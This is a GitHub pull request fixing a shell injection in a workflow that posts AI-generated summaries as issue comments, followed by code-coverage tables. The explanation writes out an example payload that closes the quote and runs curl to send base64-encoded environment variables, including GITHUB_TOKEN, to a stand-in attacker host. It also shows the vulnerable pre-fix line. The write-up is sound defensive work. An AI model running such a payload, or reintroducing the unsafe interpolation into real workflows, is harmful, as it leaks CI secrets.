fix: update AI summary comment command to use response variable

[olivierbagot]

Fix Shell Injection Vulnerability in AI Summary Workflow

Bug Fix

🐛 Resolved a shell injection vulnerability in the AI summary workflow where the AI inference response was directly interpolated into the shell command string. This allowed special characters (especially single quotes) in the AI-generated response to break out of the quoted context and potentially execute arbitrary shell commands, including exfiltrating secrets like GITHUB_TOKEN.

The fix passes the AI response through an environment variable ($RESPONSE) instead of inline interpolation, ensuring the value is treated as data rather than being re-parsed by the shell.

Changes

• .github/workflows/summary.yml: Replaced the unsafe inline interpolation of ${{ steps.inference.outputs.response }} with a safe $RESPONSE environment variable reference. The ISSUE_NUMBER argument is also now properly double-quoted. The response value is now passed via the env block, preventing shell injection.

Before (vulnerable):

gh issue comment $ISSUE_NUMBER --body '${{ steps.inference.outputs.response }}'

    GitHub Actions runner (BEFORE fix)
    │
    ├─ 1. GitHub Actions resolves ${{ steps.inference.outputs.response }}
    │     script becomes:
    │     gh issue comment 123 --body 'it'; curl https://attacker.com/$(env | base64)''
    │                                    ↑
    │                                    single quote closes the argument
    │
    ├─ 2. Shell parses the script — sees 2 commands:
    │     ├─ cmd 1: gh issue comment 123 --body 'it'
    │     └─ cmd 2: curl https://attacker.com/$(env | base64)
    │
    └─ 3. Shell executes both commands
          ├─ gh posts "it" as comment
          └─ curl exfiltrates all env variables to attacker
                └─ includes GITHUB_TOKEN, any other secret in scope

After (safe):

gh issue comment "$ISSUE_NUMBER" --body "$RESPONSE"
env:
  RESPONSE: ${{ steps.inference.outputs.response }}

 GitHub Actions runner (AFTER fix)
    │
    ├─ 1. Resolve env block
    │     RESPONSE = "it'; curl https://attacker.com"   ← stored as data, not parsed
    │
    ├─ 2. Parse shell script
    │     gh issue comment "$ISSUE_NUMBER" --body "$RESPONSE"
    │     └─ shell sees: command=gh, args=["issue","comment","123","--body","$RESPONSE"]
    │        parsing is done — structure is frozen
    │
    └─ 3. Expand $RESPONSE and execute
          gh receives: ["issue","comment","123","--body","it'; curl https://attacker.com"]
                                                           └─ plain string, never re-parsed

[github-actions]

Package	Line Rate	Branch Rate	Complexity	Health
src	92%	67%	0	✔
src.components.badges	100%	100%	0	✔
src.components.dashboard.cards	100%	98%	0	✔
src.components.dashboard.layout	100%	100%	0	✔
src.components.layout	100%	56%	0	✔
src.components.sessions	100%	92%	0	✔
src.components.shared	90%	91%	0	✔
src.components.stations.detail	99%	90%	0	✔
src.components.stations.filter	90%	87%	0	✔
src.components.stations.list	97%	75%	0	✔
src.components.stations.map	93%	90%	0	✔
src.components.stations.shared	100%	96%	0	✔
src.composables	99%	95%	0	✔
src.composables.errors	100%	100%	0	✔
src.directives	97%	92%	0	✔
src.i18n	28%	100%	0	❌
src.pages	96%	80%	0	✔
src.router	92%	100%	0	✔
src.services	100%	100%	0	✔
src.store	96%	94%	0	✔
src.store.badges	91%	91%	0	✔
src.store.evse	87%	96%	0	✔
src.store.sessions	90%	96%	0	✔
src.store.utils	100%	100%	0	✔
src.utils.odata	92%	94%	0	✔
Summary	94% (4908 / 5221)	90% (1101 / 1218)	0	✔

[github-actions]

Package	Line Rate	Branch Rate	Complexity	Health
srv	96%	98%	0	✔
srv.utils	98%	96%	0	✔
Summary	97% (289 / 297)	97% (148 / 153)	0	✔